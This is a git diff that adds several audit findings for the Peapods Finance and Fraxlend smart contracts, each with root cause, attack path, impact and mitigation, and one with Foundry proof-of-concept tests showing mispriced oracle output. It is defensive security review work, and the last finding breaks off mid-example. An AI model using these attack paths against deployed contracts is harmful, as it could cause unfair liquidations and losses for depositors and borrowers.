+users can deposit their assets as supplier in FraxlendPair to receive interest as profit and users can deposit their asset through `FraxlendPairCore::deposit` and as we can see _totalAsset.amount will be increased as much as _amount because of tax. hence , FraxlendPair'balance
+can be less than _totalAsset.amount
+
+```solidity
+ function _deposit(
+ VaultAccount memory _totalAsset,
+ uint128 _amount,
+ uint128 _shares,
+ address _receiver,
+ bool _shouldTransfer
+ ) internal {
+ // Effects: bookkeeping
+ @>>> _totalAsset.amount += _amount;
+ _totalAsset.shares += _shares;
+
+```
+
+and when users want to redeem their assets _amountToReturn will be computed based on _totalAsset.amount which is greater than real amount and this causes
+_amountToReturn will be computed larger than real amount and users' transaction will be reverted because of insuficient balance
+
+```solidity
+
+ function redeem(uint256 _shares, address _receiver, address _owner)
+ external
+ nonReentrant
+ returns (uint256 _amountToReturn)
+ {
+ if (_receiver == address(0)) revert InvalidReceiver();
+
+ // Check if withdraw is paused and revert if necessary
+ if (isWithdrawPaused) revert WithdrawPaused();
+
+ // Accrue interest if necessary
+ _addInterest();
+
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+ // Calculate the number of assets to transfer based on the shares to burn
+ @>>> _amountToReturn = _totalAsset.toAmount(_shares, false);
+
+ _redeem(_totalAsset, _amountToReturn.toUint128(), _shares.toUint128(), _receiver, _owner, false);
+```
+
+### Impact
+
+User's assets will be stuck in FraxLendPair
+
+### Mitigation
+
+Consider to taxes in FraxLendPair
\ No newline at end of file
diff --git a/385.md b/385.md
new file mode 100644
index 0000000..ad04389
--- /dev/null
+++ b/385.md
@@ -0,0 +1,83 @@
+Nice Lipstick Nightingale
+
+High
+
+# Price Validation Enables Unfair Liquidations
+
+### Summary
+
+*Inconsistent price deviation validation in `_updateExchangeRate` will cause unfair liquidations for borrowers as malicious liquidators will execute liquidations during periods of price uncertainty while borrowers are prevented from taking defensive actions.*
+
+### Root Cause
+
+*In `FraxlendPairCore.sol:_updateExchangeRate()` the price deviation check (`_isBorrowAllowed`) is only enforced for borrowing operations while being ignored for other critical functions like liquidations, deposits, and withdrawals.*
+```solidity
+function _updateExchangeRate() internal returns (
+ bool _isBorrowAllowed, // Only used for borrow operations
+ uint256 _lowExchangeRate,
+ uint256 _highExchangeRate
+) {
+ // ... price fetching logic ...
+
+ uint256 _deviation = (_highExchangeRate - _lowExchangeRate) * DEVIATION_PRECISION / _highExchangeRate;
+ _isBorrowAllowed = _deviation <= maxOracleDeviation;
+
+ return (_isBorrowAllowed, _lowExchangeRate, _highExchangeRate);
+}
+
+// In liquidate() - No price validation
+function liquidate(address _borrower, uint256 _amount) external {
+ (, uint256 _exchangeRate,) = _updateExchangeRate(); // Ignores _isBorrowAllowed
+ if (_isSolvent(_borrower, _exchangeRate)) {
+ revert BorrowerSolvent();
+ }
+ // ... liquidation logic ...
+}
+```
+The issue is compounded by the LTV calculation which is sensitive to price fluctuations:
+```solidity
+uint256 _ltv = (((_borrowerAmount * _exchangeRate) / EXCHANGE_PRECISION) * LTV_PRECISION) / _collateralAmount;
+```
+
+- [FraxlendPairCore.sol#L531](https://github.com/Fraxlend/core/blob/main/contracts/FraxlendPairCore.sol#L531)
+
+
+### Internal Pre-conditions
+
+1. Price deviation between Chainlink and UniV3 TWAP needs to be greater than `maxOracleDeviation`
+2. Borrower position needs to be close to liquidation threshold
+
+### External Pre-conditions
+
+1. One of the oracles (either Chainlink or UniV3 TWAP) reports an incorrect or manipulated price, causing the deviation
+2. The true market price could be anywhere between the two oracle prices or even outside their range
+3. UniV3 pool needs to have sufficient liquidity for TWAP calculation
+4. Market conditions or oracle manipulation cause sustained price deviation above `maxOracleDeviation`
+
+### Attack Path
+
+1. Attacker monitors for high price deviation between oracles
+2. When deviation exceeds `maxOracleDeviation`, borrowing becomes restricted
+3. Attacker identifies borrower positions near the liquidation threshold
+4. Attacker executes liquidation using potentially unsafe prices
+5. Borrower cannot defend position due to borrowing restrictions
+
+### Impact
+
+*The borrowers suffer unfair liquidations during price uncertainty periods. The attackers gain liquidation rewards while borrowers lose their collateral at potentially unfair prices. Additionally, the protocol's security is compromised as the system can become undercollateralized through unsafe withdrawals.*
+
+### PoC
+
+
+
+
+### Mitigation
+
+1. Implement consistent price validation across all critical operations using a new modifier:
+```solidity
+modifier requireValidPrices() {
+ (bool _valid,,) = _updateExchangeRate();
+ require(_valid, "Price deviation too high");
+ _;
+}
+```
\ No newline at end of file
diff --git a/386.md b/386.md
new file mode 100644
index 0000000..526b663
--- /dev/null
+++ b/386.md
@@ -0,0 +1,69 @@
+Magic Fuchsia Guppy
+
+Medium
+
+# `spTKNMinimalOracle.sol` counts debond fee twice, which will make the end price (spTKN per base) higher than it should be
+
+### Summary
+
+
+The `spTKNMinimalOracle::_calculateBasePerPTkn` will count unwrap fee twice, which will make the base per PTkn price lower than what it should be. Eventually the base per PTkn price will be reversed and calculated into spTKN per base price, which will be higher than what it should be.
+This inflated price of spTKN can be used to calculate the aspTkn price and in the fraxlend to determine solvency and also in the liquidation process. As the result the liquidator might get more than what they should get.
+
+
+### Root Cause
+
+`spTKNMinimalOracle::_calculateBasePerPTkn` calculates the PTkn price based on the Tkn price. When it converts from Tkn price to pTkn price, it accounts for CBR and then account for unwrap fee:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L169-L186
+
+However, the `_accountForCBRInPrice` uses `WeightedIndex::convertToAssets`:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L243
+
+The `WeightedIndex::convertToAssets` already subtracts the debond fee from the assets returned:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L120-L130
+
+This PTkn price from `convertToAssets` will be accounted for the unwrap fee using `_accountForUnwrapFeeInPrice` which will subtract the debond fee once more:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L246-L253
+
+Also, if the base is pod, it uses `_checkAndHandleBaseTokenPodConfig`, which will as well use these two functions `_accountForCBRInPrice` and `_accountForUnwrapFeeInPrice`. Therefore it will as well count the debond fee twice.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L164
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L213-L216
+
+
+### Internal Pre-conditions
+
+Either (does not need to be both)
+- `DEBOND_FEE` of the WeightedIndex is set to non-zero
+- or the `BASE_IS_POD` and the base has debond fee
+
+
+### External Pre-conditions
+
+- The `aspTKNMinimalOracle.sol` which inherits from `spTKNMinimalOracle.sol`, is used in the Fraxlend pair to determine the price of `aspTKN` per `borrowTkn`.
+
+
+### Attack Path
+
+1. liquidator liquidates
+
+
+### Impact
+
+The price of spTKN per base will calculated higher than it should be. If this incorrect price is used in Fraxlend pair, this incorrect price may be used to determine solvency and the amount of collateral for liquidator:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L232
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1135-L1136
+
+For the solvency, it is result in effectively higher `maxLTV`, so it is less problematic.
+But for the calculation of collateral amounts for liquidator, the liquidator may get more collateral than they should get.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider dropping the `_accountForUnwrapFeeInPrice`
\ No newline at end of file
diff --git a/387.md b/387.md
new file mode 100644
index 0000000..41b5dee
--- /dev/null
+++ b/387.md
@@ -0,0 +1,62 @@
+Magic Fuchsia Guppy
+
+Medium
+
+# `aspTKNMinimalOracle.sol` uses stale `convertToShares`, likely overestimate the aspTKN per base price
+
+### Summary
+
+The `AutoCompoundingPodLp.sol::convertToShares` does not account for the unprocessed rewards. Given that the `AutoCompoundingPodLp.sol::_cbr` is likely to go up as rewards are added, The convertToShares overestimates than the real value.
+
+If this should be used to calculate the collateral for liquidator in the Fraxlend pair, it might overestimate the amount of collateral for liquidator.
+
+
+### Root Cause
+
+The `AutoCompoundingPodLp.sol::convertToShares` is based on assets divided by `_cbr`:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L100-L107
+
+`_cbr` is proportional to the totalAsset:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L206
+
+And when rewards are added and processed the totalAsset will increase:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L229
+
+But the rewards could be added but not yet processed. Also the rewards are still in the TokenRewards and not yet distributed. In these cases the `_cbr` will still have stale value.
+
+If the lower than real `_cbr` is used, the `convertToShares` will be overestimated than it really is. Therefore, the aspTKN per base will as well overestimated:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/aspTKNMinimalOracle.sol#L24
+
+
+
+### Internal Pre-conditions
+
+- Fraxlend pair uses aspTKNMinimalOracle.sol to calculate solvency and collateral amounts for liquidator
+
+
+### External Pre-conditions
+
+- Rewards are added to AutoCompoundingPodLp.sol
+
+
+### Attack Path
+
+liquidator liquidates after rewards are added to the aspTKN
+
+
+### Impact
+
+The overestimation aspTKN per base price may be used to calculate the collateral amounts for liquidator:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1135-L1136
+
+Since the collateral's value does not count the rewards added, the liquidator will get more collateral amounts than what the real value is. As the result, the depositors of the fraxlend pair will get unfair socialization of debt.
+
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider adding the rewards upon estimating the value of the aspTKN.
diff --git a/388.md b/388.md
new file mode 100644
index 0000000..03934d8
--- /dev/null
+++ b/388.md
@@ -0,0 +1,77 @@
+Striped Champagne Pig
+
+Medium
+
+# Book keeping error in `FraxlenPairCore::_depositFromVault` leading to artificial inflation of `totalAssets`
+
+## Impact
+### Summary
+The `FraxlenPairCore::_depositFromVault` function deposits assets from the external vault if available to the `FraxlendPairCore` contract. However, the function increments the number of assets and shares when in fact, no new assets are added to the total assets in the protocol disrupting the protocol's book keeping.
+
+### Vulnerability Details
+
+The vulnerability lies in the fact that the `FraxlenPairCore::_depositFromVault` function calls the `FraxlenPairCore::_deposit` function which updates the `totalAssets` struct by incrementing `totalAssets.amount` and `totalAssets.shares`.
+
+This vulnerability can be seen [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L643-L658) or by taking a look at the code snippet below.
+
+```javascript
+ /// @notice The ```_depositFromVault``` function deposits assets here from the configured external vault if available
+ /// @param _amount The amount of Asset Tokens to be transferred from the vault
+ /// @return _sharesReceived The number of Asset Shares (fTokens) to mint for Asset Tokens
+ function _depositFromVault(uint256 _amount) internal returns (uint256 _sharesReceived) {
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+
+ // Calculate the number of fTokens to mint
+ _sharesReceived = _totalAsset.toShares(_amount, false);
+
+
+ // Withdraw assets from external vault here
+ externalAssetVault.whitelistWithdraw(_amount);
+
+
+ // Execute the deposit effects
+657: _deposit(_totalAsset, _amount.toUint128(), _sharesReceived.toUint128(), address(externalAssetVault), false);
+ }
+
+```
+
+
+### Impact
+Since the `FraxlendPairCore::_deposit` function increments the `totalAssets` struct without any real addition of assets into the protocol, the `totalAssets` now differs from the actual amount of assets in the protocol. The `totalAssets` is now inflated.
+
+## Proof of Concept
+
+NA
+
+## Tools Used
+
+Manual Review
+
+
+## Recommended Mitigation Steps
+
+Consider modifying the `FraxlenPairCore::_depositFromVault` so that the `totalAssets` struct is not modified since there is no new addition of assets into the protocol.
+
+```diff
+ /// @notice The ```_depositFromVault``` function deposits assets here from the configured external vault if available
+ /// @param _amount The amount of Asset Tokens to be transferred from the vault
+ /// @return _sharesReceived The number of Asset Shares (fTokens) to mint for Asset Tokens
+ function _depositFromVault(uint256 _amount) internal returns (uint256 _sharesReceived) {
+ // Pull from storage to save gas
+ VaultAccount memory _totalAsset = totalAsset;
+
+
+ // Calculate the number of fTokens to mint
+ _sharesReceived = _totalAsset.toShares(_amount, false);
+
+
+ // Withdraw assets from external vault here
+ externalAssetVault.whitelistWithdraw(_amount);
+
+
+ // Execute the deposit effects
+- _deposit(_totalAsset, _amount.toUint128(), _sharesReceived.toUint128(), address(externalAssetVault), false);
+ }
+```
\ No newline at end of file
diff --git a/389.md b/389.md
new file mode 100644
index 0000000..bff3df1
--- /dev/null
+++ b/389.md
@@ -0,0 +1,252 @@
+Magic Fuchsia Guppy
+
+Medium
+
+# spTKNMinimalOracle.sol: If the Base token is POD with unwrap fee, it will lower spTKN per base price
+
+### Summary
+
+If the Base token is POD with unwrap fee, it will lower the resulting price of spTKN per base. If this oracle should be used in Fraxlend pair, it will underestimate the debt, and may consider a position solvent when it is not.
+
+
+### Root Cause
+
+If the `BASE_IS_POD` is true, `_calculateBasePerPTkn` will calculate the price of the pTkn against the index token of the pod. (For example, if the BASE is pOHM, the spTKN will be calculated agains OHM):
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L93-L95
+
+In the `_calculateSpTknPerBase`, it will use the baseInCL per pTkn price into base per spTkn price:
+1. get price baseInCl per pTkn
+2. calculate the price of baseInCl per spTkn (spTkn is 1 to 1 to Lp token)
+3. reverse the baseInCl per spTKN to get the spTKN per baseInCl
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L145-L158
+
+If the Base is pod, this spTKN per baseInCl will converted in to spTKN per base by accounting the cbr and the unwrap fee:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L164
+
+But the unwrap fee is subtracted from the spTKN per base:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L252
+
+As the result the spTKN per base will be decrease compared to without fee.
+
+
+### Internal Pre-conditions
+
+- The Base token in the oracle is pod, and `BASE_IS_POD` is true
+- `DEBOND_FEE` of the BASE token is non-zero
+- The Fraxlend pair is using aspTKNMinimalOralce to calculate between the borrowToken (which is pod with debond fee) and the collateral (which is any other aspTKN)
+
+### External Pre-conditions
+
+NA
+
+### Attack Path
+
+`borrowAsset` from the fraxlend pair with this issue will let the borrow borrow more than what is intended
+
+
+### Impact
+
+This price of spTKN per base will be used to calculate aspTKN per Base in the `aspTKNMinimalOracle.sol`. This oracle can be used in the Fraxlend pair to determine the solvency of the position:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L232-L233
+
+To ensure healthy LTV, it is better to calculate the price higher if there is fee as this comment suggests:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L181-L184
+
+However, due to subtract of the fee after the reverse, it discounts the price if there is debond fee for the base pod.
+
+As the result, the fraxlend pair will ensure in lower maxLTV than it is intended.
+
+
+### PoC
+
+Below is test cases to compare the end result price of spTKN per base based on the existing test case of `test/oracle/spTKNMinimalOracle.t.sol::test_getPrices_APEPOHM`. The oracle's spTkn is `spAPE` and the Base token is `pOHM`.
+
+It compares three cases of price (spAPE per pOHM) with fees:
+1. spTKN (= spAPE) without fee
+3. Base token (= pOHM) without fee
+4. both with fee
+The resulting prices are:
+```sh
+[PASS] test_getPrices_APEPOHM_NOFEE_POD() (gas: 19517980)
+Logs:
+ unsafePrice 2927491301397941702 - priceLow 2901533519233864834
+ unsafePrice 2927491301397941702 - priceHigh 2901533519233864834
+
+[PASS] test_getPrices_APEPOHM_NOFEE_POHM() (gas: 19518024)
+Logs:
+ unsafePrice 2927491301397941702 - priceLow 2936707864112379306
+ unsafePrice 2927491301397941702 - priceHigh 2936707864112379306
+
+[PASS] test_getPrices_APEPOHM_WITHFEE() (gas: 19517580)
+Logs:
+ unsafePrice 2927491301397941702 - priceLow 2916150909063592651
+ unsafePrice 2927491301397941702 - priceHigh 2916150909063592651
+```
+
+When the pOHM has no debond fee, the spAPE per pOHM is higher than pOHM with debond fee. But when the pOHM has debond fee, the spAPE per pOHM decreases. Therefore, when the base has debond fee, the fraxlend pair will require less collateral.
+
+Also, in liquidation when the collateral for liquidator is calculated, this price will be used as well, which they will get less.
+
+Here is the test functions for each cases:
+
+```solidity
+ function test_getPrices_APEPOHM_WITHFEE() public {
+ address _podToDup = IStakingPoolToken_OLD(0x21D13197D2eABA3B47973f8e1F3f46CC96336b0E).indexFund(); // spAPE
+ address _newpOHM = _dupPodAndSeedLp(0x88E08adB69f2618adF1A3FF6CC43c671612D1ca4, address(0), 0, 0);
+ address _newPod = _dupPodAndSeedLp(_podToDup, _newpOHM, 0, 0);
+
+ require(IDecentralizedIndex(_newPod).DEBOND_FEE() != 0);
+
+ spTKNMinimalOracle oracleAPEPOHM = new spTKNMinimalOracle(
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ _newpOHM,
+ true,
+ false,
+ IDecentralizedIndex(_newPod).lpStakingPool(),
+ 0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF // UniV3: APE / WETH
+ ),
+ abi.encode(
+ address(0),
+ 0x88051B0eea095007D3bEf21aB287Be961f3d8598, // UniV3: OHM / WETH
+ address(0),
+ address(0),
+ address(0),
+ address(_v2Res)
+ )
+ );
+ (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) = oracleAPEPOHM.getPrices();
+
+ uint256 _unsafePrice18 = _getUnsafeSpTknPrice18(address(oracleAPEPOHM));
+ console.log("unsafePrice %s - priceLow %s", _unsafePrice18, _priceLow);
+ console.log("unsafePrice %s - priceHigh %s", _unsafePrice18, _priceHigh);
+
+ assertApproxEqRel(
+ _priceLow,
+ _unsafePrice18,
+ 0.2e18, // TODO: tighten this up
+ "_priceLow not close to _unsafePrice18"
+ );
+ assertApproxEqRel(
+ _priceHigh,
+ _unsafePrice18,
+ 0.2e18, // TODO: tighten this up
+ "_priceHigh not close to _unsafePrice18"
+ );
+ // accounting for unwrap fee makes oracle price a bit more
+ // assertEq(_priceLow > _unsafePrice18, true); // TODO: check and confirm
+ assertEq(_isBadData, false, "Bad data was passed");
+ }
+
+ function test_getPrices_APEPOHM_NOFEE_POD() public {
+ address _podToDup = IStakingPoolToken_OLD(0x21D13197D2eABA3B47973f8e1F3f46CC96336b0E).indexFund(); // spAPE
+ address _newpOHM = _dupPodAndSeedLp(0x88E08adB69f2618adF1A3FF6CC43c671612D1ca4, address(0), 0, 0);
+ address _newPod = _dupPodAndSeedLp(_podToDup, _newpOHM, 0, 0);
+
+ require(IDecentralizedIndex(_newPod).DEBOND_FEE() != 0);
+ vm.mockCall(_newPod, abi.encodeWithSelector(IDecentralizedIndex.DEBOND_FEE.selector), abi.encode(0));
+ assertEq(IDecentralizedIndex(_newPod).DEBOND_FEE(), 0);
+
+ spTKNMinimalOracle oracleAPEPOHM = new spTKNMinimalOracle(
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ _newpOHM,
+ true,
+ false,
+ IDecentralizedIndex(_newPod).lpStakingPool(),
+ 0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF // UniV3: APE / WETH
+ ),
+ abi.encode(
+ address(0),
+ 0x88051B0eea095007D3bEf21aB287Be961f3d8598, // UniV3: OHM / WETH
+ address(0),
+ address(0),
+ address(0),
+ address(_v2Res)
+ )
+ );
+ (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) = oracleAPEPOHM.getPrices();
+
+ uint256 _unsafePrice18 = _getUnsafeSpTknPrice18(address(oracleAPEPOHM));
+ console.log("unsafePrice %s - priceLow %s", _unsafePrice18, _priceLow);
+ console.log("unsafePrice %s - priceHigh %s", _unsafePrice18, _priceHigh);
+
+ assertApproxEqRel(
+ _priceLow,
+ _unsafePrice18,
+ 0.2e18, // TODO: tighten this up
+ "_priceLow not close to _unsafePrice18"
+ );
+ assertApproxEqRel(
+ _priceHigh,
+ _unsafePrice18,
+ 0.2e18, // TODO: tighten this up
+ "_priceHigh not close to _unsafePrice18"
+ );
+ // accounting for unwrap fee makes oracle price a bit more
+ // assertEq(_priceLow > _unsafePrice18, true); // TODO: check and confirm
+ assertEq(_isBadData, false, "Bad data was passed");
+ }
+
+ function test_getPrices_APEPOHM_NOFEE_POHM() public {
+ address _podToDup = IStakingPoolToken_OLD(0x21D13197D2eABA3B47973f8e1F3f46CC96336b0E).indexFund(); // spAPE
+ address _newpOHM = _dupPodAndSeedLp(0x88E08adB69f2618adF1A3FF6CC43c671612D1ca4, address(0), 0, 0);
+ address _newPod = _dupPodAndSeedLp(_podToDup, _newpOHM, 0, 0);
+
+ require(IDecentralizedIndex(_newpOHM).DEBOND_FEE() != 0);
+ vm.mockCall(_newpOHM, abi.encodeWithSelector(IDecentralizedIndex.DEBOND_FEE.selector), abi.encode(0));
+ assertEq(IDecentralizedIndex(_newpOHM).DEBOND_FEE(), 0);
+
+ spTKNMinimalOracle oracleAPEPOHM = new spTKNMinimalOracle(
+ abi.encode(
+ address(_clOracle),
+ address(_uniOracle),
+ address(_diaOracle),
+ _newpOHM,
+ true,
+ false,
+ IDecentralizedIndex(_newPod).lpStakingPool(),
+ 0xAc4b3DacB91461209Ae9d41EC517c2B9Cb1B7DAF // UniV3: APE / WETH
+ ),
+ abi.encode(
+ address(0),
+ 0x88051B0eea095007D3bEf21aB287Be961f3d8598, // UniV3: OHM / WETH
+ address(0),
+ address(0),
+ address(0),
+ address(_v2Res)
+ )
+ );
+ (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) = oracleAPEPOHM.getPrices();
+
+ uint256 _unsafePrice18 = _getUnsafeSpTknPrice18(address(oracleAPEPOHM));
+ console.log("unsafePrice %s - priceLow %s", _unsafePrice18, _priceLow);
+ console.log("unsafePrice %s - priceHigh %s", _unsafePrice18, _priceHigh);
+
+ assertApproxEqRel(
+ _priceLow,
+ _unsafePrice18,
+ 0.2e18, // TODO: tighten this up
+ "_priceLow not close to _unsafePrice18"
+ );
+ assertApproxEqRel(
+ _priceHigh,
+ _unsafePrice18,
+ 0.2e18, // TODO: tighten this up
+ "_priceHigh not close to _unsafePrice18"
+ );
+ // accounting for unwrap fee makes oracle price a bit more
+ // assertEq(_priceLow > _unsafePrice18, true); // TODO: check and confirm
+ assertEq(_isBadData, false, "Bad data was passed");
+ }
+```
+
+
+### Mitigation
+
+Consider accounting fee in a different way
diff --git a/390.md b/390.md
new file mode 100644
index 0000000..aba0318
--- /dev/null
+++ b/390.md
@@ -0,0 +1,122 @@
+Perfect Macaroon Dachshund
+
+Medium
+
+# FraxLendPairCore::borrowAsset will be reverted when oracle is DualOracleChainlinkUniV3
+
+### Root cause
+
+_updateExchangeRate has been used by FraxLendPairCore::borrowAsset to update lowExchangeRate and highExchangeRate and if _deviation between low and high exchange rate is bigger than max _deviation transaction will be reverted
+
+```solidity
+ function borrowAsset(uint256 _borrowAmount, uint256 _collateralAmount, address _receiver)
+ external
+ nonReentrant
+ isSolvent(msg.sender)
+ returns (uint256 _shares)
+ {
+ ...
+
+ // Check if borrow will violate the borrow limit and revert if necessary
+ if (borrowLimit < totalBorrow.amount + _borrowAmount) revert ExceedsBorrowLimit();
+
+ // Update _exchangeRate and check if borrow is allowed based on deviation
+ (bool _isBorrowAllowed,,) = _updateExchangeRate();
+ if (!_isBorrowAllowed) revert ExceedsMaxOracleDeviation();
+
+```
+
+and when there isn't a direct feed for asset/collateral DualOracleChainlinkUniV3 can use two feed to achieve a price
+
+```solidity
+
+ function _getChainlinkPrice() internal view returns (bool _isBadData, uint256 _price) {
+ _price = uint256(1e36);
+
+ if (CHAINLINK_MULTIPLY_ADDRESS != address(0)) {
+ (, int256 _answer,, uint256 _updatedAt,) =
+ AggregatorV3Interface(CHAINLINK_MULTIPLY_ADDRESS).latestRoundData();
+
+ // If data is stale or negative, set bad data to true and return
+ if (_answer <= 0 || (block.timestamp - _updatedAt > maxOracleDelay)) {
+ _isBadData = true;
+ return (_isBadData, _price);
+ }
+ @>> _price = _price * uint256(_answer);
+ }
+
+ if (CHAINLINK_DIVIDE_ADDRESS != address(0)) {
+ (, int256 _answer,, uint256 _updatedAt,) = AggregatorV3Interface(CHAINLINK_DIVIDE_ADDRESS).latestRoundData();
+
+ // If data is stale or negative, set bad data to true and return
+ if (_answer <= 0 || (block.timestamp - _updatedAt > maxOracleDelay)) {
+ _isBadData = true;
+ return (_isBadData, _price);
+ }
+ @>>> _price = _price / uint256(_answer);
+ }
+```
+
+### External Condition
+
+Direct feed for asset/collateral doesn't exist
+
+### Internal Condition
+
+TokenA'decimal = 18
+USDT'decimal = 6
+TokenA/ETH oracle's decimal = 18[for every data feed based on ETH deciaml is 18]
+ETH/USDT oracle's decimal = 8
+
+### Code Snippet
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L79
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L115
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L126
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L919
+
+### PoC
+
+CHAINLINK_NORMALIZATION = 10**(18 + asset.decimals() - collateral.decimals() + multiplyOracle.decimals() - divideOracle.decimals())
+CHAINLINK_NORMALIZATION = 10**(18 + 18 - 6 + 18 - 8) = 10**40
+and let's assume TokenA/ETH price = 1e18 ,ETH/USDT = 1000e8
+
+_price = _price * uint256(_answer)
+_price = 1e36 * 1e18 = 1e54
+_price = _price / uint256(_answer);
+_price = 1e54 / 1000e8 = 1e43
+_price = _price / CHAINLINK_NORMALIZATION
+_price = 1e43 / 1e40 = 0.001e6
+
+as we can see price's scale is 6 and static oracle is 18 and this causes FraxlandPairCore::borrowAsset always will be reverted because of
+
+```solidity
+ function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) {
+ ...
+
+ @>>> _priceLow = _isBadData || _price1 < _price2 ? _price1 : _price2;
+ @>>> _priceHigh = _isBadData || _price1 > _price2 ? _price1 : _price2;
+ }
+```
+
+```solidity
+ uint256 _deviation = (
+ DEVIATION_PRECISION * (_exchangeRateInfo.highExchangeRate - _exchangeRateInfo.lowExchangeRate)
+ ) / _exchangeRateInfo.highExchangeRate;
+ if (_deviation <= _exchangeRateInfo.maxOracleDeviation) {
+ _isBorrowAllowed = true;
+ }
+
+ if (!_isBorrowAllowed) revert ExceedsMaxOracleDeviation();
+```
+
+### Impact
+
+borrowAsset will be reverted when asset and collateral have differ decimals
+
+### Mitigation
+
+Consider to use same decimal for chain link price and static oracle price
\ No newline at end of file
diff --git a/391.md b/391.md
new file mode 100644
index 0000000..78109b9
--- /dev/null
+++ b/391.md
@@ -0,0 +1,78 @@
+Nice Lipstick Nightingale
+
+High
+
+# Voting Power Loss on Additional Stake
+
+### Summary
+
+Voting Power Loss on Additional Stake in the `_updateUserState` function where *users lose* voting power when adding more stake after a conversion rate decrease. The function incorrectly applies new conversion rates to the entire staked amount instead of only the new stake, causing users to lose the voting power they should have maintained from their original stake.
+
+### Root Cause
+
+In `VotingPool.sol:_updateUserState()` the function incorrectly overwrites the entire stake's conversion factor with the new rate instead of preserving original rates for existing stake:
+
+```solidity
+function _updateUserState(address _user, address _asset, uint256 _addAmt) internal {
+ Stake storage _stake = stakes[_user][_asset];
+
+ // Calculate old amount (correct)
+ uint256 _mintedAmtBefore = (_stake.amtStaked * _stake.stakedToOutputFactor) / _den;
+
+ // Add new amount
+ _stake.amtStaked += _addAmt;
+
+ // CRITICAL FLAW: Updates rates for entire amount
+ _stake.stakedToOutputFactor = _convFctr;
+ _stake.stakedToOutputDenomenator = _convDenom;
+
+ // CRITICAL FLAW: Applies new rate to total amount
+ uint256 _finalNewMintAmt = (_stake.amtStaked * _convFctr) / _convDenom;
+}
+```
+([VotingPool.sol#L551-L558](https://github.com/peapods/contracts/blob/main/src/VotingPool.sol#L551-L558))
+
+### Internal Pre-conditions
+
+1. Admin needs to set initial `stakedToOutputFactor` to be at least 2x
+2. Users need to stake tokens when the factor is high
+3. Admin needs to decrease `stakedToOutputFactor` to be at most 1x
+4. Users need to have a significant stake (>1000 tokens) under the old rate
+
+### External Pre-conditions
+
+no external pre-conditions
+
+### Attack Path
+
+2. Admin reduces conversion rate to 1x
+3. When users try to add more stake, their entire stake (old + new) gets converted at 1x
+4. Users lose voting power from their original stake
+
+### Impact
+
+Users who add more stakes after a rate decrease will lose voting power over their original stake. For example, suppose the total voting power ba user has 1000 tokens staked at 2x rate (2000 voting power) and adds 500 more tokens after the rate changes to 1x. In that case, it comes to 1500 instead of the expected 2500, resulting in a loss of 500 voting power from their original stake. this could be a design choice but the gap between the first and the second stake makes the user keep the first stake to avoid losing which is against the protocol that needs more stake.
+
+### PoC
+
+```solidity
+Example Scenario:
+Initial Stake:
+- Amount: 1000 tokens
+- Rate: 2x
+- Voting Power: 2000
+
+After Rate Change (1x) and Adding 500 tokens:
+Current Implementation:
+- Total Stake: 1500 tokens
+- New Power: 1500 (LOSS of 500 power!)
+
+Should Be:
+- Original: 2000 power (1000 * 2x)
